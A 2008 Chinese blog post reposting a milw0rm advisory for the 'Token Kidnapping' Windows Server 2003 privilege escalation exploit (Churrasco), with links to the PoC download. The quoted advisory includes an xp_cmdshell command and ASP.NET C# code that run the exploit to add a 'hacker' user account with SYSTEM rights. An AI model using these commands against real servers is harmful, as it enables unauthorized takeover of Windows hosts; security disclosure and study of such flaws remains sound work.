随笔-55  评论-264  文章-1  trackbacks-1

Token Kidnapping Windows 2003 exploit

在聚合里看到人家测试,和刺聊了一下,刺居然告诉我MS没有修补这个漏洞,马上测试 大家看图


好像是某次大会公布出来的

 

http://www.milw0rm.com/exploits/6705

 

(From http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html)
It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf)
was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.
Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate.  Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.
-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:
exec xp_cmdshell 'churrasco "net user /add hacker"'
-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...
You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip
backup link: http://milw0rm.com/sploits/2008-Churrasco.zip
Enjoy.
Cesar.
# milw0rm.com [2008-10-08]
posted on 2008-10-10 14:57 jannock 阅读(629) 评论(1) 编辑 收藏

评论:
#1楼 2008-12-10 11:13 | dmc ——admin kki [未注册用户]
沙发 哦 支持你
 回复 引用   
昵称:jannock
园龄:3年10个月
粉丝:7
关注:1
<2008年10月>
2829301234
567891011
12131415161718
19202122232425
2627282930311
2345678

搜索

 

常用链接

随笔分类

随笔档案

.NET

常用

积分与排名

  • 积分 - 138568
  • 排名 - 702

最新评论

阅读排行榜

评论排行榜

推荐排行榜